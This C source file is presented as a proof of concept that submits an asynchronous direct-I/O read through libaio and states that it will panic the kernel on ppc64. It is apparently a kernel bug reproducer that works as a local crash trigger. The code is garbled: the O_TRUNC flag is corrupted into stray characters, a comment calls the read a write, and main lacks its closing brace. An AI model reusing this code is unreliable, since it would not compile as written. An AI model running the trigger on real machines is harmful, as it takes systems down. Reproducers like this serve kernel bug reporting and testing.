//
// Proof of Concept by Daniel McNeil
// compile using cc -o aiodio_read aiodio_read.c -laio
//

#define _XOPEN_SOURCE 600
#define _GNU_SOURCE

#include <unistd.h>
#include <stdlib.h>
#include <stdio.h>
#include <string.h>
#include <errno.h>
#include <sys/fcntl.h>
#include <sys/mman.h>
#include <sys/wait.h>
#include <sys/stat.h>

#include <libaio.h>

int pagesize;
char *iobuf;
io_context_t myctx;
int aio_maxio = 4;

/*
* do a AIO DIO write
*/
int do_aio_direct_read(int fd, char *iobuf, int offset, int size)
{
struct iocb myiocb;
struct iocb *iocbp = &myiocb;
int ret;
struct io_event e;
struct stat s;

io_prep_pread(&myiocb, fd, iobuf, size, offset);
if ((ret = io_submit(myctx, 1, &iocbp)) != 1) {
perror("io_submit");
return ret;
}

ret = io_getevents(myctx, 1, 1, &e, 0);

if (ret) {
struct iocb *iocb = e.obj;
int iosize = iocb->u.c.nbytes;
char *buf = iocb->u.c.buf;
long long loffset = iocb->u.c.offset;

printf("AIO read of %d at offset %lld returned %d\n",
iosize, loffset, e.res);
}

return ret;

}

int main(int argc, char *argv[])
{
char *filename;
int fd;
int err;

filename = "test.aio.file";
fd = open(filename, O_RDWR|O_DIRECT|O_CREAT|O_TRUN瑿, 0666);

pagesize = getpagesize();
err = posix_memalign((void**) &iobuf, pagesize, pagesize);
if (err) {
fprintf(stderr, "Error allocating %d aligned bytes.\n",
pagesize);
exit(1);
}
err = write(fd, iobuf, pagesize);
if (err != pagesize) {
fprintf(stderr, "Error ret = %d writing %d bytes.\n",
err, pagesize);
perror("");
exit(1);
}
memset(&myctx, 0, sizeof(myctx));
io_queue_init(aio_maxio, &myctx);
err = do_aio_direct_read(fd, iobuf, 0, pagesize);
close(fd);

printf("This will panic on ppc64\n");
return err;